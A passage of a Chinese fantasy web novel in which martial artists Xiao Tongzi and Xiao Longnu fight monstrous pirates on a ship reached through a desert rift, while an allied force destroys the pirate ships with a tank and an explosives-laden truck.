沙漠阵列中,三名金系异能者同时冲出,沿着沙路跑进异常区。他们一踏上甲板,便分散站开,双手张开,掌心亮起银色光芒。那光芒一闪,附近两艘海盗船侧舷的炮口忽然剧烈颤动起来。 一排排大炮像被无形的手扳住,炮身胡乱偏转。下一轮炮火轰然喷出,有的斜斜扎进大海,炸起高高水柱;有的调头砸向后方海盗船,把船舷炸得木屑乱飞。 可炮口太多了,三名金系异能者根本压不住所有大炮,仍有三枚炮弹挣脱偏转,拖着黑烟朝他们所在的甲板射来。 小龙女隔着望远镜,清楚看见那三名异能者慌了一瞬。牵引炮口的银光骤然散乱,三人同时改去拽那几枚炮弹,可三股力量撞在一起,谁都想先把危险甩开,反倒互相争抢起控制权。 下一刻,三枚炮弹被他们硬生生甩出了异常区。 离开圆形裂缝的瞬间,那三枚炮弹表面的黑烟忽然添上了彩色,像是连性质也跟着变了。其中一枚砸向楼下沙地上的人群,另一枚斜斜掠过沙地,坠向更远处的废楼群。 “散开!” 尖叫声和口令声混在一起,人群四散奔逃。有人扑向废墟后方,有人滚进沙坑里,还有人举起盾牌,试图挡住即将落下的炮弹。火光猛然炸开,黑烟翻涌,短短一瞬便遮住了那片人群。 阳台上的四人同时屏住呼吸,可烟火散去后,沙地上并没有出现想象中的巨大弹坑。 地面仍旧平整,黄沙只是被掀起一层,又缓缓落下。没有碎裂的车壳,也没有被炸开的残肢,被火光笼罩的人群却不见了。远处废楼群里也只升起一团黑烟,楼体依旧歪斜地立着,看不出被炮弹击中的痕迹。 小童子怔住:“人呢?” 小龙女也凝神看去,那里确实没有寻常炮击后的痕迹,像是那一炮没有炸毁任何东西,只把被吞进去的人从原地抹掉了。 四人还没理清楚怎么回事,最后一枚原本已经掠向远处的炮弹,忽然像闻到活人气息般在半空拐了个弯。它像被什么东西重新拽住,拖着彩色黑烟朝她们所在的阳台极速撞来。 “跑!”小童子大喊一声。 四人没有往楼内退,直接从高层阳台翻身跃下。 下一刻,炮弹撞上阳台。 “轰!” 火光和黑烟从头顶炸开,爆炸的范围瞬间笼罩正在下落的四人。 烟火散去后,阳台仍旧好端端挂在楼外,栏杆、墙体和窗框都没有半点破损,可四人不见了。 ------- 同一片沙地下方,旧水渠里却听不见那声爆炸。 厚厚沙层和混凝土隔绝了地面的风声,只有低低的震动从头顶传下。一个黑影从半埋的井口钻入,手脚并用,贴着狭窄管道往前爬。 管壁潮湿发黏,积年的污垢和细沙混在一起,散出一股腐水味。沙漠之城地表干得能裂开,地下却藏着这张旧水网,废水、冷凝水和不知从哪里渗出的黑液在沟底缓缓流动。黑影爬过时,袖口擦过管壁,带下一层灰褐色泥痕。 他爬了一段路,前方水渠渐渐变宽。黑影探头看了看,纵身跳到下一段水渠里。 靴底落进浅水,溅起一点浑浊水花。他也不嫌脏,只甩了甩手,贴近一截锈蚀管道,在黑暗中敲出一串独特的音律。 咚,咚咚,咚。 声音沿着管道传远,片刻后,上方传来一道低沉声音:“谁?” 黑影仰起脸,咧嘴一笑:“嘿嘿,我周疾啊。” 话音落下,管道旁边的墙面忽然软了下去。那面墙像被水泡透的泥巴,缓缓塌开一道缝,露出里面昏黄的灯光。周疾弯腰钻入,身后的泥墙又无声立起,重新变成一堵坚硬墙壁,连缝隙都看不出来。 守门的是个瘦小男人,半张脸藏在兜帽下,手掌按在墙上,指缝间还残着一点湿泥。他看了周疾一眼,没有多问。 周疾笑嘻嘻地冲他抬手:“辛苦,辛苦。” 守门人没理他,只把脸重新埋回阴影里。 周疾也不在意,拍了拍袖子上的脏水,摇摇晃晃往里走。前方开始出现一点点微光,那光不是明亮的白,而是旧灯泡和几盏私接电灯混出来的暗色,照得墙面一块黄,一块绿。水渠两侧被人搭出许多窄台,破木板、铁皮和旧门板拼在一起,勉强成了路。 再往里,声音也多了起来。有人低声讨价还价,有人咳嗽,有人拖着金属义肢从湿地上走过,发出一下一下的刮响。 角落里摆着几张歪斜桌子,桌上堆着子弹、药片、发霉压缩饼干和从异常区捡来的古怪碎片。三教九流的人缩在昏暗灯下,窃窃私语,像一群永远不愿走到阳光下的影子。 一个瘦骨嶙峋的人从人堆里钻出来,脸上立刻堆起笑:“周哥,今天又做了什么大事啊?” 周疾咧嘴,露出一口有些裂痕的牙:“也没什么,就哄了几个古武者替我们办事。” 那瘦子眼睛一下亮了,亮得近乎疯狂:“那些古武者答应进异常区?” “没有。”周疾吊儿郎当地摆了摆手,“不过嘛,肯定会好奇地过去看看。你知道的,只要在附近,就逃不掉了,嘿嘿嘿。” 瘦子笑得更兴奋:“什么实力的古武者啊?” “一晶核。” “才一晶核?”旁边一个高壮大汉向地下吐了一口唾沫星子,咧开大嘴瞧着周疾,“进异常区走两步就没了吧。” 周疾一点也不恼,亲热地拍了拍瘦子的肩膀,一副好哥们的模样,不在意壮汉的嘲讽:“死了就死了,多死几个古武人,我开心。” 他说这话时仍在笑,眼底却没什么笑意。 “不过嘛,”周疾拖长声音,“我觉得这几个古武人说不定不止一晶核实力。毕竟谁知道那是一日得来的晶核,还是多日攒到的晶核呢?” 周围人先是一静,随即跟着嘻嘻笑起来。这些笑声低,却比地上的污水更黏腻。有人拍桌,有人敲碗,有人把脚边的空罐子踢得滚来滚去。旧水渠里的灯光晃了一下,照出一张张或贪婪、或幸灾乐祸的脸。 就在这时,一个半边身子都是机械的女子慢悠悠地从人群中走出来。 她右肩以下全是冰冷金属,关节转动时有细小电流声。那颗机械右眼冒着丝丝蓝光,扫过众人时,像刀背贴着皮肤滑过。她属于人的那半边脸却带着笑,唇角轻轻一扯,既温柔,又让人心里发寒。 “好弟弟,说得没错。”她走到周疾身旁,抬手替他拍掉袖口一点污泥,动作像姐姐照顾弟弟,语气却带着不容置疑的意味。 “古武人若死,是好事;若能替我们把事办成,也是好事。”她转过脸,看向水渠里那些缩在暗处的人,“大家说,是吧?” 人群顿时拍桌、跺脚,乱糟糟地吼起来。 “没错没错!” “帮主说得对!” “让那些古武人去死!” 周疾站在女子身旁,笑得越发灿烂。他抬头看了看水渠顶上厚重的黑暗,仿佛能隔着泥土和沙层,看见地面上那道正张开的异常区裂缝。 75.登船 小童子先听见的,是刀剑相击的铿响,是枪火炸开的轰鸣,是人摔在木板上的闷响,是怪物拖着铁链在甲板上奔跑的声音。 那些声音从下方翻涌上来,近得像贴在耳边。她还记得炮弹撕开沙暴时那团刺眼火光,记得楼房剧烈震动,记得空间猛烈扭曲。 可意识重新浮上来时,沙尘暴里干热的风都已经不在了。先漫进来的,是潮湿、咸腥、腐木和火药味。 小童子猛地睁开眼,发现自己正从半空坠下。几乎同一瞬间,远在船头上方的小龙女也睁开了眼。 两人清醒的刹那,身体已先一步做出反应。小童子在半空中拧身卸力,青色风衣被海风猛地掀起;小龙女白袖一展,足尖轻轻点过一根斜索。下一瞬,两人一前一后,落在海盗船上。 可落脚处的木板湿滑,船身又正被海浪托起,再重重砸下。船尾的小童子足尖一滑,身形微微偏了半寸;船头的小龙女也被那股猛然下坠的力道带得肩背轻晃,衣袖随之一荡。两人几乎同时沉气,膝与腰随船身起伏微微一沉一转,重新调整重心,才稳住身形。 站稳之后,小童子才看清船舷外是真正的海。 一眼望去,海面无边无际,灰黑浪头一层层拍上来,水沫混着盐腥味溅过栏杆。远处还漂着两艘海盗船,桅杆歪斜,破帆鼓动,船身黑沉沉地压在浪里。 船头的小龙女也在同一刻看向船外,看见这艘船侧后方不远处,悬着一个巨大的圆形裂缝。 裂缝边缘泛着七彩冷光,像有人在海天之间撕开一只圆洞。圆洞那头不是海,而是沙漠。她们能看见无边的黄沙和废城,也能看见黄沙地上混乱的联合队队形。那些车辆、盾牌和枪口都还在,只是隔着那道裂缝,像隔着一面会发光的怪镜。 海浪又一次推来,船身猛地一偏。甲板中央有人站不稳撞上盾牌,海盗早已习惯这种颠簸,借着船身倾斜的力道顺势反扑联合队。 小童子还没来得及再看,余光中看见一道寒光横砍而来。 那是一把大刀,刀身宽厚,边缘锈得发黑,刀背上挂着几片发硬的海草。挥刀的人力气极大,刀锋裹着风声扫向她脖颈。小童子来不及细看,身体已先一步向后一仰。 刀锋擦着她额前发丝掠过,船身恰在此时猛地一晃,小童子借着船身倾斜之势,腰身一转,足尖滑过湿木,整个人斜斜避开。对方一刀落空,还想继续攻击,小童子已起脚踢出,正中那人握刀的手腕。 “咔!”那手腕硬得不像活人,却仍被踢得向后一偏。大刀脱手飞起,在半空转了两圈,重重插进旁边一个海盗湿滑臃肿的背脊。那海盗半截身子像软塌塌的乌贼,几条触腕猛地抽紧,又拍在甲板上。 小童子顺势拔剑,剑光出鞘,如一线青寒。 她一剑挥过去,对方却没有退。它猛地抬起另一只手,硬生生挡在剑前。 金铁交击声炸开,小童子这才看清,那根本不是一只正常的手。 那手从小臂处开始便已经畸变,臂骨外覆着黑色硬壳,手掌位置却长成弯钩。钩子有半截刀刃那么长,边缘布满锯齿,缝隙里嵌着白色盐晶和细小藤壶。她的剑斩上去,钩刃裂开一道口子,里面流出的不是鲜血,而是一股咸湿的海水。 怪物被踢偏的那只手忽然探向腰间,从腐朽皮带下拔出一支旧式短/枪。枪口才抬起,便已经对准小童子的眉心。 火光炸开,小童子回剑一挡,锵的一声,子弹打在剑身上,震得剑锋微微一颤。她手腕顺势卸力,背后却忽感一凉,像有一道阴冷的风贴着脊骨扫来。 她没有回头,整个人往前一跃,足尖正踩在面前那海盗的头顶。几乎同一瞬间,她原本站立的位置轰然一震,一柄巨斧砸进甲板,木屑和黑水一齐溅起。 被她踩住的海盗喉咙里挤出一声低吼,覆盖黑壳的巨臂横扫而来。小童子借它头顶一点,身形往上空翻起,青色风衣在海风里一旋。下一瞬,她反身倒立,长剑直刺而下。 剑尖从海盗头顶没入,一路贯进它身体深处。 巨斧破风声又从身后袭来,小童子向后一跃,顺势拔出长剑。被刺中的海盗僵在原地,头顶猛地喷出一股黑血,随即整具身体从内向外碎开,化作一团腥咸泡沫。泡沫散尽,湿黑甲板上噼里啪啦掉下一地五彩缤纷的糖果。 小童子落回甲板,仅仅站定一瞬,目光便从那些糖果上一掠而过。 挥斧的,是一个三米多高的巨型海盗。它半张脸陷在腐烂胡须里,肩背宽得像一堵湿黑的墙,两只手握住斧柄,将那柄巨斧抡圆了再度劈来。 小童子一退再退,很快便退到甲板边缘。再往后一步,就是不知深浅的大海。 巨斧打横砍来,斧刃卷起的劲风几乎贴着她腰侧切过。小童子却在斧刃扫到眼前的刹那纵身一跃,足尖轻轻一点,竟半蹲在那柄巨斧宽阔的斧面上。 她抬起头,还对巨型海盗扬起一个笑脸。 巨型海盗动作一滞,随即暴怒般嘶吼起来。它挥斧的速度陡然翻倍,巨斧横劈竖斩,接连几十下将海风搅得乱响。小童子却像没有半点压力,在斧面上跳上跳下,每一次足尖落下,都轻轻点在巨斧同一个位置。 “不玩了。”话音落下,她足尖在斧面上一点,整个人沿着巨型海盗的手臂疾掠而上,踩过它隆起的肩骨,转眼便落到它肩头。 巨型海盗怒吼着伸手来抓,小童子腰身一偏,避开那只巨掌,双脚却已经夹住它的头颅。内力从丹田下沉到双脚,她整个人借势一旋。 “咔嚓!”巨型海盗整颗头颅竟被她用双脚硬生生拧了下来。 无头巨人往前一跪,巨斧砸在甲板上,震得木板一阵乱颤。小童子顺势落下,先一脚将那颗还没来得及化为泡沫的头颅踢出甲板,又回身补上一脚,将庞大躯体也踢得撞断船尾栏杆,直直坠入灰黑大海。 小童子重新落地,俯身向船外看了一眼。 黑暗海水下方,似乎有一道巨大的身影无声游过。那影子长得看不见尽头,几乎有一整艘海盗船那么大。 与此同时,船头方向的火枪声骤然连响。< /p>船头有两个海盗怪物迎面扑向小龙女,一个胸口鼓着许多鱼鳃似的裂缝,每次呼吸都有黑水从缝里滴落,双手端着一支铜箍火枪;一个肩背上长着粗硬蟹壳,半边脸被壳片包住,腕上缠着一截锚链。小龙女视线触不到的船头外侧,第三只海盗正吸附在船身上,它双腿已经变成章鱼般的触肢,吸盘一收一放,贴着湿滑木板无声爬近。 火枪海盗先一步扣动扳机,火光连闪,铁弹封住小龙女前路。蟹壳海盗同时甩出锚链,沉重铁钩擦着甲板砸来,横扫她左右两侧。她身后便是船头外无边的黑海,下一瞬,几条湿滑触腕从船外的下方探出,缠向她脚踝。 小龙女没有回头,飘荡的白色衣袂似乎碰到了什么东西。她脚尖在甲板上一点,整个人迎着枪火掠出。 第一枚铁弹射到眼前时,她头微微一偏,身形便从子弹间隙里滑了过去。第二枚紧跟着擦向她肩头,锚链也在半空一拐,追着她闪避的方向袭来。小龙女身形斜斜掠开,铁弹擦着手臂打穿她身后的甲板,锚链贴着她足下砸碎木板。 火枪海盗连连扣动扳机,蟹壳海盗也不断抖动锚链。铁弹与锚链一前一后追着她变向,小龙女却始终没有后退到船边,反而越来越逼近火枪海盗。 等火枪海盗再次抬高枪口时,她身形忽然一跃,足尖点在火枪枪口上,轻得像雪。枪口只被这一点压低少许,后续铁弹轰然射下,正打中从船外缠来的触腕,黑水从断裂的触腕里喷出。 也就这么一点,锚链追上了小龙女,在她脚踝处一缠。 冰冷铁链锁住脚踝的刹那,小龙女曲膝一跃,竟反着那股拉力从船头跃了出去。 她身子向下坠去,白色衣袂在灰黑海面上方翻开。也就在这时,她与吸附在船头外侧的第三只海盗四目相对。 小龙女脸色不变,顺势拔剑横切。 剑光贴着船身掠过,那海盗的触肢被齐齐切断,整个海盗从船壁上脱落,带着吼叫和一串黑水坠入大海。 水花翻起的一瞬,小龙女似乎看见海面下有一道巨大的黑影游过。 她没有时间细看,借脚踝上锚链的拉力反身一荡,重新被带回船头上空。 火枪声紧跟着她的跃起出现,火枪海盗连射数枪,铁弹追着她的身影打来。 小龙女仍在半空,反身长剑一扫。 几枚铁弹在剑光上折回,分别射向火枪海盗和蟹壳海盗的眉心。 小龙女刚落在船头甲板上,那两个海盗额前已同时炸开黑血。它们的尸身向后仰倒,还没触到甲板,便从内向外塌碎,化作两团腥咸泡沫,缠在小龙女脚踝上的锚链也随之消失。 小龙女收剑时,身形顺着船身摇晃微微一转;小童子也正从船尾栏杆转身回头。 隔着鼓起的破帆、横七竖八的绳索和中央甲板上海盗和联合队的厮杀,两人的视线恰好撞在一起。 小童子的眼睛一下睁大了些,唇边也忍不住弯起。 小龙女看见她的笑,眼中那点清冷也轻轻化开,竟也跟着笑了一下。 76.清场 只这一眼,两人知道对方安然无恙,四周仍是枪声、海浪和怪物嘶吼,可心却终于落回了原处。 更远处,两艘海盗船因金系异能者的捣乱,不再开火,而是慢慢靠了过来。 三个金系异能者见任务完成,从原本站着的边缘位置退下沙路,悄无声息地离开了异常区。 一根根粗绳从那两艘船的桅杆间甩来,钩爪咬住这艘黑船的栏杆和横桅。那些长着鱼鳍、蟹壳、触须的海盗怪物抓着绳索荡过来,身体在半空摇晃,像一串串从灰浪里甩出的腐烂鱼群。 刚落上甲板,它们便分成三股。 一股涌向船尾的小童子,一股扑向船头的小龙女,最多的一股则直直压向甲板中央的联合队。 小龙女看了眼联合队的火力线,又看向远处的小童子。她抬手,先指了指那些正冲向两人的海盗,又指向联合队所在的方阵。 小童子立刻明白了她的意思,隔着摇晃的桅杆和破帆,朝她轻轻一点头。 下一瞬,两人动作一致地拔剑。 小童子从船尾斜桅掠出,青色风衣被湿风吹得猎猎作响。她迎上最先扑来的海盗,长剑斜斜一削,划开对方肩头黑壳,却没有追着要害再补一剑。 第二只海盗从绳索上荡来,她侧身避过锈刀,剑锋顺手在它肋下割出一道长口。第三只举枪瞄准,她脚尖一点,跃上半截断桅,反手一剑劈向还吊在半空的海盗。 每一剑都见血,却都不求杀死。那些被割伤、被挑开鳞甲、被削断触须的海盗反而更加暴怒,嘶吼着追在她身后。 小童子就在桅杆、断索和破帆之间一退一进,快要被追上时便骤然拔高,海盗稍一落后,她又回身补上一剑,将怒火稳稳吊住。 船头的小龙女也已迎上另一群海盗,她白衣在灰蓝天幕和甲板之间一闪一隐,剑光冷得像撕开海雾的月色。 海盗挥刀,她侧身让过,剑尖划破对方腕骨;火枪口抬起,她足尖踩过枪管,反手割断枪手侧耳;又有海盗荡着绳索从上方扑来,她剑鞘将那根绳索一卷,剑锋顺势在对方胸口划出一道血线。 小龙女同样不恋战,伤而不杀,退而不追。那些船头海盗被她引得越斗越急,越急越追,竟也跟着她一点点向甲板中央靠去。 两人一青一白,从船尾和船头各自掠过半艘船。她们挥剑、躲避,又跃上绳索和断帆,朝那些荡着绳子追来的海盗再劈上一剑。剑伤不深,却足够疼,足够让海盗咬准她们不放。 追在两人身后的海盗越来越多,它们有的攀着绳索,有的踩着栏杆,有的拖着枷锁,有的举着火枪,刀光、铁钩和子弹从两人身侧不断擦过。 小童子和小龙女需要躲避和格挡的攻击也越来越密,可两人始终没有甩开它们,只把距离控制在最危险、也最容易牵动怒火的一线。 很快,被她们引住的海盗已经几乎不比围攻联合队的少。小童子和小龙女在联合队附近短短对视一眼,下一刻便同时压低身形,贴着盾牌阵两侧掠入方阵火力范围。追在她们身后的海盗被怒火烧断了理智,也跟着扑进那片狭窄混乱的对战圈。 船头船尾被两人牵来的海盗,就这样融进了原本正攻击联合队的海盗群里。三股海盗彻底混在一起,盾牌阵被撞得连连后退,近战队很快便支撑不住,阵形眼看要被撕开。步枪队越来越难分清自己人和敌人,子弹刚填好,枪口才一抬起便仓促开火,生怕前方盾墙被撕出缺口。 有人嘶喊:“别打自己人!” 有人回应:“那你压住它们啊!” 话音未落,小童子和小龙女已经同时跃起。 两道身影从盾牌前拔上半空,小童子手腕一翻,将长剑抛向小龙女;小龙女反手接住,双剑同时入手,白衣在半空轻轻一旋。 小童子气沉丹田,双掌从胸前迅猛推出。 潜龙藏锋! 掌力轰然冲出,像台风卷起漫天沙尘,最前方一大片海盗被掌力直袭,鱼鳞、藤壶、黑壳和腐肉一层层剥开。 许多怪物的身体被打得血肉分离,少数硬壳深处甚至传来令人牙酸的细响,连骨头都被暗藏的剑锋磨成粉末。海盗群被这一掌压得空出大片,前排几乎被撕成碎块。 小龙女双剑在手,眼中似有一点金光闪过。 照影还杀! 联合队射出的子弹原本混乱地穿过海盗群,有的打偏,有的擦着怪物肩背飞向桅杆和破帆。可在她双剑交错、剑力沿着诡异轨迹荡开的一瞬,那些子弹像被剑势牵住,轨迹忽然转弯,一枚枚子弹精准钻入海盗眉心。 与此同时,小童子那一式潜龙藏锋尚未散尽的余韵,也被剑光牵回。被掌风撕碎的海盗,碎肉和断骨又被回卷的暗劲绞散一遍;另有几具眉心中弹的尸身被余劲扫过,也从那一点红痕处裂开,像被看不见的剑锋从体内划过。 残肢和尸块同时炸开。 两招完毕,小童子和小龙女才缓缓落回甲板。小龙女手腕一送,将青剑还给小童子。 甲板中央,方才挤得水泄不通的海盗已经被清理一空。 远处还没冲上来的海盗停在绳索和栏杆上,联合队的人也端着枪僵在原地。无论是海盗还是活人,都像被那一青一白两道身影镇住了,一时竟没有谁再敢往前动。 倒下的海盗尸身,分成了两种模样。 被潜龙藏锋卷过的那一片,几乎已经看不出完整人形。鳞甲、断手、残腿、胸腹、头颅混成一地碎块,断骨里还残留着被暗劲碾过的细碎裂痕。 被照影还杀击中的那些完整得多,它们仰面倒在湿黑甲板上,胸口甚至还微微起伏似的,只眉心多出一点极小的红痕。可其中几具离掌风最近,红痕很快向外裂开,像被那道尚未散尽的暗劲从内里又撕了一遍。 可无论是尸块,还是看似完整的尸体,很快都开始起泡。鳞甲、腐肉、盐晶和藤壶一层层塌陷,黑水蒸发,骨头碎开,最后全都化成腥咸的泡沫。 一包饼干出现在甲板上;另一团泡沫散开,滚出一瓶矿泉水;第三处泡沫里,又散出几颗裹着彩色亮纸的糖果。 随后是更多,面包、罐头、果冻、盐包、冻干,一样样从泡沫里出现。它们干净得过分,和黑血、腐木、碎鳞混在一起,荒唐得像有人把一间干净杂货铺倒进了噩梦里。 枪声停了一瞬,联合队和海盗看着从天上落回甲板的一青一白两个少年,不敢动弹。 那一秒,整艘黑船都像安静了一下,只有海浪推着船身摇摆。 还有几颗糖果顺着倾斜的甲板,骨碌碌滚到联合队的脚下。 也正是这一瞬安静,让小童子和小龙女同时听见了甲板下方的声音。 下面很乱,木板隔着厚厚一层,仍挡不住刀刃劈砍、枪声闷响、木桶滚动和怪物嘶吼。可在那些混乱声响里,有两道呼吸格外熟悉。一个沉稳克制,急促时也不乱;一个轻些,快些,夹着咬牙压住的喘息。 小童子眼神一动:“李秀宁和铁心兰在下面。” 小龙女也听见了。她原以为被卷入此处的只有她和小童子,此刻才知李秀宁和铁心兰也在,只是落进了船腹。 此刻听到两人在甲板下呼吸混乱,便知道她俩的处境并不美妙。 小童子和小龙女没有迟疑,两人剑锋骤起,气息重合,青色风衣和白色风衣在海风里同时扬起,两道剑光贴在一起,明明极轻,却让周围湿冷空气骤然一紧。 下一瞬,双剑合璧。两道剑气从交叉处落下,没有向四周散开,而是笔直贯入脚下甲板。湿黑木板先是无声裂出一道细线,随即轰然炸开。 剑气先洞穿甲板,又一路贯下去,连着撕开下方好几层船舱。破碎木板和铁钉往深处坠落,洞底传来一连串闷响,随即有一股更浓的酸臭气冲上来,混着潮湿霉味、腐肉味、火药烟和久不通风的闷气。 小童子鼻尖一皱,却没有退,她和小龙女几乎同时跃入洞中。 77.爆炸 小童子和小龙女消失在船腹之后,甲板中央的压力骤然一轻。可这口气只松了短短一瞬,整艘黑船便又被海浪掀得猛地一斜,甲板上的食物、断刀和黑水全都往一侧滚去。 一个随行者扑过去捡起滚到脚边的矿泉水,第二个人立刻弯腰去抓饼干。眨眼之间,更多随行者动了,像被那点物资勾住了魂,纷纷冲出来,伸手去扫甲板上的食物。 随行者一动,整个战场便跟着乱了一下。海盗很快再次反扑,联合军也不得不重新组织防线。 圆形裂缝那头,指挥官的声音穿过风沙和枪声传来:“随行者立即下船!这次只搬运沙土!” 喊声一遍接一遍,可仍有随行者不听从命令。有人还想多抓两袋饼干,有人甚至把糖果往衣服里塞。 指挥官的声音骤然冷了下去:“不遵守指令者,取消所有贡献,并就地枪决!” 这一句落下,随行者才像被冰水兜头浇醒,逗留的人们脸色惨白地松开物资,连滚带爬冲向裂缝。很快,一袋袋黄沙从沙漠那头被搬上甲板,割开的沙袋在湿黑木板上铺出一片片粗粝沙土。 指挥官再次大喊:“土系异能者左翼上船,右翼稳住沙桥!” 十名土系异能者冲上甲板,一齐挥起甲板上的沙土。黄沙在他们掌下猛地翻卷起来,如同一整块粗糙巨幕,贴着甲板向前铺开。扑来的海盗被沙土裹住身体,一批又一批被卷起,直接甩进灰黑大海。 那些海盗刚砸进浪里,水下便有阴影动了。几条粗得像桅杆的巨型触手从深处探出,缠住还在挣扎的海盗,将它们拖向海面下方。灰浪翻了几下,很快又合拢,只剩几圈浑浊的涟漪。 与此同时,沙漠深处传来沉重轰鸣。一辆坦克从黄沙中驶出,履带碾上临时垒起的沙路。沙路下方的土系异能者齐齐变了脸,有人牙关咬得渗血,有人眼角直接淌出血泪。承住一台坦克的重量,已经远远超过他们平日能轻松掌控的极限。 可沙路终究没有塌,坦克上到与异常区海盗船腹齐平的位置,炮管对准异常区深处,轰然开火。炮弹打穿最近那艘海盗船的船腹,又从另一侧破出,继续撞进后方第二艘船。下一刻,第二艘船腹部轰然炸开,火光和黑木一起掀上半空,整艘船被炸空,只剩底部还勉强连着一副焦黑残骸。 炮声未落,坦克迅速倒退,一辆大卡车稳稳开上前。沙漠区的土系异能者齐齐跪倒,几人当场吐出血来,沙路开始崩塌。 指挥官没有给他们喘息的时间:“船上土系异能者回身帮忙!全部给我把沙路垒起来!” 甲板上的土系异能者立刻回身,双掌齐齐压下。散在甲板上的沙土被拉成长带,和裂缝那头的沙路接在一起,硬生生垒出一条能让卡车通过的沙桥。 卡车开到与船腹的巨洞齐平后,司机跳下车,连滚带爬撤回沙漠区。 “将卡车送入船腹!” 船上和船下的三十来个异能者同时抬手,黄沙从车轮下翻起,托住卡车底盘,将那辆沉重的铁车一点点送进海盗船被炮弹打穿的腹部。 “全军撤退!”联合队听见命令,立刻开始后撤。 最后一批人退回沙漠区后,连接异常区的沙路轰然塌下,黄沙重新落回地面。 开荒队和随行者队被带到后方清点人数,开荒队死亡过半,剩下的人里大多带伤;随行队相对好些,仍有三分之一的人没有受伤。贡献当场兑现,随后,开荒队和随行队被宣布解散,又在武装人员的看护下,被“请”离了现场。 联合队却没有全部离开,运输车辆和坦克有序离开,火力部队和设备部队留在原地,枪口、炮口和探测设备全都对准那片异常海域。 指挥官紧盯着异常区里的那片海域,没过多久,灰黑海面下果然有东西动了。一条条巨型触手从水里探出,湿滑的粉白皮肉贴上海盗船船底和船舷,开始缓缓收紧,像尝过血腥味后终于按捺不住探向猎物的深海巨物。 被缠住的海盗船立刻乱了,甲板上的海盗怪物嘶吼着四散奔逃,有的攀上桅索,有的慌不择路跳向那艘只剩底部的焦黑残骸,更多的则扑向另一艘还能动的海盗船。那艘船也察觉到危险,急急调转船头,破帆被海风鼓起,想要逃离这片海域。 巨型触手越缠越紧,整艘海盗船被勒得木板爆裂,船腹和桅杆同时发出不堪重负的断响。 指挥官等的就是这一刻,他按下点火按钮。 海盗船腹深处,那辆装满炸药的卡车轰然爆开。火光从船身裂缝里喷出,整艘船被炸得猛地一鼓,随即从中间散架。 三条巨型触手当场被炸断,粉白断口在鲜血里疯狂抽搐。藏在海面下的庞然巨物仍看不清全貌,只能看见更多触手在水中翻搅,掀起一圈圈浑浊浪花。 可它并没有松开猎物,没被炸断的触手仍旧死死缠住那艘断成两截的海盗船,拖着燃烧的残骸和还没来得及逃走的海盗,一点点沉向深海。 指挥官看着那片翻涌的黑水,声音仍然冷静:“第二阶段准备!” --------- 小童子和小龙女刚从甲板跃入船腹,脚底才沾到湿木板,胃里便先翻了一下,酸水直往喉间涌。 这里没有风,泡水腐木的酸气、海盗身上的汗臭、火药烟的呛人味道,还有霉烂鱼肉与其他海鲜尸身裂开后的腥气,全被闷在船腹里,厚得像一层湿布,贴着口鼻往里涌。 小童子被那股味道顶得一口气没换顺,眼前的火光顿时晃成了两三重;小龙女也屏住呼吸,袖下手指微微一紧,眉心极轻地蹙了一下。 这里的声音也更乱,甲板上的枪炮声隔着木板闷闷砸下来,海浪在船腹外一下一下拍,铁链从头顶拖过去,木桶滚着撞上舱壁,怪物的吼声也被狭窄船腹撞出回音,分不清远近。 小童子和小龙女侧耳去寻李秀宁和铁心兰的呼吸,却只听见那些声音在舱壁间来回翻涌。 下一瞬,黑暗里先亮起几道锈刀的冷光。 小龙女没有说话,剑已经出鞘,她矮身避开横梁下劈来的锈刀刃,反手一剑削掉半截手腕。断腕落进黑水里,水面冒出一串腥泡。 有海盗从倾斜的楼梯下扑来,小童子一脚踢飞对方;小龙女从她身侧掠过,剑尖轻轻一点,另一只海盗的喉间便多了一线黑血。 她们终于在断梁后看见了李秀宁和铁心兰,两人被困在断梁后方,仅从一个狭小的开口抵抗一层层海盗。 也就在那一眼之间,船侧轰然一沉。四周的木壁像被什么庞然大物从外面撞了一拳,整片船腹猛地斜过去。 李秀宁和铁心兰重心不稳,一下子撞上舱壁;小童子和小龙女同时提气,努力稳住身形。 下一秒,一枚炮弹从船侧贯穿进来。 厚重木壁先是向内一鼓,随即被硬生生撕开。黑木、铁片和烧红的钉子一起炸散,炮弹拖着火线从她们头顶斜上方掠过去,又在另一侧船壁轰出一个大洞,带着尖锐啸声冲向外面的海雾。 隔着破开的洞口看去,远处另一艘海盗船腹部紧跟着爆出刺眼火光。那火光从船身里面炸开,将半截船舱直接掀碎,黑木和铁片像雨一样砸向海面。小童子只来得及看见那艘船塌下去一大块,最后只剩底部还连着。 这一炮没有在她们所在的船里炸开,可贯穿时带起的狂风从两个破洞间猛地一扯,船腹里原本闷死的臭气被卷散大半,又立刻混进焦木和火药烟的味道,呛得人胸口发闷。 小童子咬破舌尖,血腥味压过那股恶臭,眼前才清明了些。 她和小龙女冲到李秀宁、铁心兰附近。正缠着她们的海盗还没来得及转身,便被断头、穿喉。 “走。”小龙女道。 可船腹里哪里还有完整的路,货箱倒了一地,断梁横七竖八,脚下黑水随着船身摇晃来回涌。四人刚绕过一只破开的铁笼,前方黑暗里忽然多了一 团庞大的阴影。 那东西被黄沙托着,从船腹破口一点点滑进来。车身太重,压得沙土簌簌往下掉,铁皮擦过破木,发出令人牙酸的声响。 小童子盯着它:“那是什么?” “卡车。”李秀宁认得卡车,却想不明白,为什么有人要把这样一辆车送进船腹部。 铁心兰则拉了李秀宁一把:“管它是什么,赶紧走,这里臭死了。” 四人脚步刚动,脚下的船板先低低呻吟了一声。接着,头顶横梁一根接一根弯下去,钉子从木板里崩出来,叮叮当当地落了一地。 左侧和右侧的舱壁都在向内鼓,连她们身后的楼梯都被挤得咯吱作响。海水从缝里喷进来,海盗怪物的嘶吼忽然变了调,不再是凶狠,而是惊恐。 它们开始往外逃,有的撞开同伴,有的拖着断腿往上爬。 小童子耳朵一动,她听见卡车深处传来极轻的一声响。 咔。 小龙女也听见了,两人同时回头。 两人来不及分辨那是什么,身体已经先一步扑向李秀宁和铁心兰。她们半跪下去,双臂同时张开,又在对方背后死死扣住,将李秀宁和铁心兰拢进彼此身体之间、腹下那一点空隙里。 下一刻,白光和爆炸声同时填满了整艘船腹。小童子和小龙女只觉得眼前一白,耳膜像被重锤狠狠砸中,爆炸声在耳边轰然炸开,带来一片尖锐耳鸣。 玉女心经的本源内力在这一刻被逼到尽头,两人气息相接,原本各自行走的内力猛地汇成一股,在她们抱紧的身体之间急速旋转,像高速旋转的涡轮。那旋转越来越快,快到经脉都被扯得发疼,快到小童子和小龙女几乎分不清哪一缕是自己的,哪一缕是对方的。 同一瞬间,四人身边的一切都被强大的爆炸吞没。货箱、断梁、铁笼、黑水,连扑到近前的海盗怪物,都在白亮火浪里塌陷、焦黑、汽化,只剩一团浑浊热雾。 